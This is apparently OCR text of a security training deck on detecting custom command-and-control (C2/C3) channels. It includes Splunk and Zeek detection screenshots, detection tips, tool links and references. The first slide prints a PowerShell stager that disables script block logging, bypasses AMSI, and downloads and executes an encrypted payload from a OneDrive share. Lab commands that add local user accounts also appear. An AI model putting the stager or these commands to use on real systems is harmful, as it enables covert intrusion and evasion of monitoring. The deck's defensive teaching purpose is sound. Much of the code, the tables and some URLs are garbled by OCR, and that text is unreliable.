K oK ok ok ok Ok K K ok KK K K K K K K K Ok

PS>If ($PSVeRSiONTAbLE .PSVerSIon.MAJOR -Ge 3){$6866=[rEF].AsseMBLy.GEtTyPe (" System.Management.Automation.Utils")."GEtFIe" LD" (' cachedGroupPolicySettings", "N'+'onPublic,Static');If($6866){$1fe7=$6866.GetVALUE ($NULL);IF
($1Fe7['ScriptB'+'locklLogging' ] ){$1FE7["ScriptB '+ lockLogging’ ][ 'EnableScriptB'+ " lockLogging’]=0;%1Fe7[ ScriptB’+'lockLogging" ][ "EnableScriptBlockInvocationlogging']=0}$VAL=[COLLECTionS.GeNEric.DicTioNARY
[sTRINg,SysTEM.OBIECT]]: :NEw();%val.ADd( EnableScriptB*+ ' lockLogging’,®);$VAL.ADD( 'EnableScriptBlockInvocationlogging®,8);$1Fe7[ "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell
\ScriptB'+'locklLogging" ]=$vAL}ELSE{ [SCRipTBLOCK]."GetFIE" Ld" ("signatures”, "N'+'onPublic,Static').SETVALUE ($NULL, (NEw-ObjEcT COLLeCtions.GenERic.HashSeT[stRIng]))}$Ref=[ReF].AssEmBLy.GETTypE

(*System.Management . Automation.Amsi'+ Utils"');$REF.GetFielD( amsiInitF '+ ailed", "NonPublic,Static').SetValuE ($null,$TrUE);}; [SYstem.Net.SERVICEPOINTManAgEr] : :Expect 10OCONTINue=0; $wc=NeW-ObJeCt SYSTEM.NET.weBCLiEnt;
$u="Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.8 (16299)°;%$wc.HeaderS.AdD("User-Agent”,$u);PWc.ProXyY=[SYstEM.NET .WEBREQUEST] : : DE FAULtWEbProxY ; $wC.Proxy.CRedEnTIALS =

[SYsteM.NET.CreDeNtTALCAChe] : : DE FAULTNeTWORKCRE deNtiALs ;35cript:Proxy = $wc.Proxy;$K=[SYSTEm.TEXT.ENCodING] : : ASCIT .GEtBYTeS (' AUpEG370gehS q@}RIx-C# | ,X88)Yviér ' ) ; R={$D, $K=3Args ; $5=0. . 255 ;0. . 255 |%{$1=(31+$5[$_]+$K[$_%
$K. CouNt])%256;%5[$_],$5[$I]1=85[$3],%5[5_]1;3D|%{$I=($1+1)%256; $H=($H+$S[$1])%256;%S[$1],$S[$H]=5S[$H],$S[$1];5_-BxoR$S[ ($S[$I]+$S[$H])%256]}}; bdata=$wc . DOWNLOAdDatA( " https: //api.onedrive.com/vl.@/shares/s!
AuBImepG4AKgbUKcLrIEIILHI2Q/driveitem/content” );$IV=$DATa[0. .3];$data=$dAta(4. .3dATa.lEnGtH];-JoIn[ChaR[]] (& $R $DATa (BIV+3K))|IEX




HOST ARTIFACTS DETECTION — CREATE ACCOUNT

MITRE ATT&CK Show Filters

Process Create

_time +

2020-10-09

2020-10-09

2020-10-09

2020-10-07

2020-10-07

2020-10-07

2020-10-07

2020-10-07

2020-10-07

Technique Trigger
s Category ¢ s

Create
Account

Create
Account

Create
Account

Create
Account

Create
Account

Create
Account

Create
Account

Create
Account

Create
Account

host_fqdn <

wef.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

.windomain.

user_name %

NOT_TRANSLATED
WEF\vagrant

NOT_TRANSLATED
WEF\vagrant

NOT_TRANSLATED
WEF\vagrant

NOT_TRANSLATED
WEF\vagrant

NOT_TRANSLATED
WEF\vagrant

process_parent_path ¢

C:\Users\vagrant
\Desktop
\Relay_x64_722a_guidem-
gdrive-relay.exe

C:\Windows\System32
\cmd. exe

C:\Windows\System32
\net.exe

C:\Windows\System32
\cmd.exe

C:\Windows\System32
\net.exe

NOT_TRANSLATE!
WEF\vagrant

C:\Users\vagrant
\Desktop
\Relay_x64_f4ba_guidem-
relay.exe

NOT_TRANSLATED,
WEF\vagrant

C:\Users\vagrant
\Downloads\complted.dll
\publish
\OutlookC2Client.exe

NOT_TRANSLATED
WEF\vagrant

NOT_TRANSLATED
WEF\vagrant

C:\Windows\System32
\net.exe

C:\Users\vagrant
\Downloads\complted.dll
\publish

process_path

C:\Windows
\System32
\cmd. exe

C:\Windows
\System32
\net.exe

C:\Windows
\System32
\net1.exe

C:\Windows
\System32
\net.exe

C:\Windows
\System32
\net1.exe

C:\Windows
\System32
\cmd. exe

C:\Windows
\System32
\net.exe

C:\Windows
\System32
\net1.exe

C:\Windows
\System32
\net.exe

original_file_name

Cmd.Exe

net.exe

netl.exe

net.exe

netl.exe

Cmd.Exe

net.exe

netl.exe

net.exe

process_parent_command_line

.\Relay_x64_722a_guidem-
gdrive-relay.exe

“cmd.exe" /c net user
guidem-gdrive Password!
/add

net user guidem-gdrive
Password! /add

C:\Windows\system32\cmd.exe
/C net user guidem-gdrivec2
Password! /add

net user guidem-gdrivec2
Password! /add

.\Relay_x64_f4ba_guidem-
relay.exe

.\OutlookC2Client.exe

"net" user guidem-outlookc2
Password! /add

.\OutlookC2Client.exe

process_command_line

"cmd.exe" /c net user
guidem-gdrive
Password! /add

net user guidem-
gdrive Password! /add

C:\Windows

\system32\net1
guidem-gdrive
Passward! /add

user

net user guidem-
gdrivec2 Passwerd!
/add

C:\Windows
\system32\net1
guidem-gdrivec2
Passward! /add

user

C:\Windows\system32
\cmd.exe /C net user
guidem-gdrivec2
Passward! /add

"net" user guidem-
outlookc2 Password
/add

C:\Windows
\system32\net1 user
guidem-outlookc2
Password! /add

"net" user guidem-
outlookc2 Password

—

Export v

process_parent_guid ¢

{DC9861F0-C178-5F7F-

process_guid

{DC9861F8-C22

2509 }

{DC9861F@-C22C-5F7F~
3E
3E

3E0

{DC9861F8-C22

400

09 )

{DC9861F@-C22C-5F7F-
4009-000000000B00}

DC9861F0-1F61-5F7E-

400

{DC9861F8-C2z
4109-0000000¢

{DC9861FO-1FE

405 )

{DC9861F0-1F61-5F7E-
9605-000000000900)

{DC9861F0-1D40-5F7E-

9605
9605

{DC9861F0-1FE
9705-0000000¢

{DC9861F@-1F€E

4C05 00}

{DC9861F0-1554-5F7E~
FC03-000000000900}

{DC9861F@-168E-
5F7E-5F04-000000000900)

{DC9861F0-1554-5F7E~

9405

{DC9861FB-16¢
S5F7E-5F04-00¢€

{DC9861F0-16¢
SF7E-6104-00¢

{DC9861FB-16%

FCo3 00}

404

Post Compromise artifacts (Creation of Account)




HOST ARTIFACTS DETECTION — RARE PROCESS CHAINS

Keep this in mind, searches might take a bit
Timespan host_fqdn

Last 24 hours *

All rare proces chains

Taskmgr.exe

ClassicStartMenu.exe

wscript.exe

mmc.exe

mstsc.exe

cmd.exe

Rare process chains, based on raw events

process_parent_name

*

RuntimeBroker.exe

winrshost.exe

bginfo.exe

wsmprovhost.exe
netsh.exe

process_name

* Hide Filters

Click on a process for more details below
process_parent_name
explorer.exe
HOSTNAME.EXE explorer.exe
explorer.exe

netl.exe

. explorer.exe
whoami.exe

explorer.exe

cmd. exe

Relay x64 ded8 slack-c2.exe

Relay

cmd. exe

xB4_1575_relay-victim.exe

.exe

Relay x64 _722a_guidem-gdrive-relay.exe

.exe

.exe

Relay x64 _f576_dropbox-relay.exe

Relay_x64_d

cmd. exe

cmd. exe
e46_guidem-c2.exe cmd. exe

cleanmgr.exe

WmiPrvSE.exe

RuntimeBroker.exe

process_name <
chrome.exe
mmc. exe
mstsc.exe
notepad.exe
wscript.exe

HOSTNAME . EXE

Export v

Relay_x64_722a_guidem-gdrive-relay.exe
Relay_x64_de46_guidem-c2.exe
Relay_x64_de48_slack-c2.exe
Relay_x64_f575_relay-victim.exe

Relay_x64_f576_dropbox-relay.exe

cmd. exe

net.exe

reg.exe

whoami . exe

DismHost.exe

DismHost.exe

cmd.exe




C3 CHANNEL — GITHUB DETECTION

splunk App: Search & Reporting ¥ Administrator v Messages ¥ Settings ¥ Activity

Search Analytics Datasets Reports Alerts Dashboards

New Search

index=zeek sourcetype query=xgithubx | table, _time, id.orig_h, DestinationIp, query, url
v 16 events (10/4/20 12:00:00.000 AM to 10/9/20 1:23:07.000 AM)  No Event Sampling v
Events Patterns Statistics (16) Visualization

100 Per Page v # Format Preview v

_time + id.orig_h < Ve Destinationlp query ¢ url ¢

2020-10-08 :52:20. 192.168.38. avatars3.githubusercontent. avatars3.githubusercontent.
2020-10-08 21:52:20. 192. .38. avatars3.githubusercontent. avatars3.githubusercontent.
2020-10-08 :52:20. 192. .38. avatars1.githubusercontent. avatars1.githubusercontent.
2020-10-08 S52:20% 192. .38. avatarsl.githubusercontent. avatars1.githubusercontent.
2020-10-08 21:52:20. 192. .38. avatars0.githubusercontent. avatars@.githubusercontent.
2020-10-08 :52:20. 192. .38. avatars@.githubusercontent. avatars@.githubusercontent.
2020-10-08 :52:19. 192. .38. github.com github.com

2020-10-08 21:52:19. 192. .38. github.com github.com

2020-10-08 :52:19. 192. .38. github.com github.com

2020-10-08 52219, 192. .38. github.com github.com

2020-10-07 20:53:44. 192. .38. api.github.com api.github.com

2020-10-07 :53:44. 192. .38. api.github.com api.github.com

2020-10-07 :33:02. 192. .38. raw.githubusercontent.com raw.githubusercontent.com
2020-10-07 18:33:02. 192. .38. raw.githubusercontent.com raw.githubusercontent.com
2020-10-07 :32:55. 192. .38. api.github.com i.github.com

2020-10-07 £32:55. 192. .38. api.github.com i.github.com




HOW CAN WE IMPROVE

Identify data sources to leverage detection of common C2 traffic

Understand and identify detection opportunities

Learn about real-world use cases on advanced types of C2 such as
custom command and control channels

Take advantage of the MITRE Framework




DETECTING C2/C3

ook for unknown protocols
_ook for beaconing behavior
Unusual traffic volumes
Investigate typical C&C
protocols

ATTP: User-Agent, HTTP
Referrer

DNS: Query Length, Query
Types, Query Entropy




TOOLS TO DETECT C2/C3

Freq.py
https://github.com/sans-blue-team/freq.py

RITA (Real Intelligence Threat Analytics)
https://github.com/activecm/rita

JA3
https://github.com/salesforce/ja3

C2 Matrix
https://www.thec2matrix.com/matrix

Slingshot C2 Matrix VM
https://www.sans.org/slingshot-vmware-linux/download



https://github.com/sans-blue-team/freq.py
https://github.com/activecm/rita
https://github.com/salesforce/ja3
https://www.thec2matrix.com/matrix
https://www.sans.org/slingshot-vmware-linux/download

THANK YOU FOR LISTENING

training@guidem.ph

Follow us on
Twitter/Linkedin

facebook.com/guidemtraining

Ian Secretario — @iansecretario
https://iansecretario.com/

linkedin.com/company/guidemtraining

Renzon Cruz - @r3nzsec
https://renzoncruz.com/

twitter.com/guidemtraining

l@' instagram.com/guidemtraining



https://iansecretario.com/
https://renzoncruz.com/

Any Questions?




REFERENCES & THANKS!

https://labs.f-secure.com/

https://github.com/FSecureLABS/C3
https://rhinosecuritylabs.com/aws/hiding-cloudcobalt-strike-beacon-c2-using-amazon-apis/
https://www.insomniacsecurity.com/2018/01/11/externalc2.html
https://github.com/Und3rf10w/external c2 framework
https://qgithub.com/RhinoSecuritylLabs/external _c2 framework/
https://qithub.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki#domain-fronting
https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2
https://www.cobaltstrike.com/help-externalc2
https://posts.specterops.io/covenant-developing-custom-c2-communication-protocols-
895587e7f325

https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-
Abusing-Office365-Powershell-For-Covert-C2.pdf
https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-
Backdoor.pdf
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-
extension-abusing-instagram
https://www.bleepingcomputer.com/news/security/russian-state-hackers-use-britney-spears-
instagram-posts-to-control-malware
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-
evasive-global-criminal-operation.html
https://securingtomorrow.mcafee.com/mcafee-labs/vpnfilter-botnet-targets-networking-
devices
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-new-

chat-platforms-abused-by-cybercriminals
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-
leveraging-telegrams-bot-api-to-target-iranian-users
https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-

Secure_Dukes Whitepaper.pdf
https://3xpl01tc0d3r.blogspot.com/2020/03/introduction-to-callidus.html
https://rastamouse.me/blog/c3-first-look/
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@Rev10D

@Krelkc
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https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://securingtomorrow.mcafee.com/mcafee-labs/vpnfilter-botnet-targets-networking-devices
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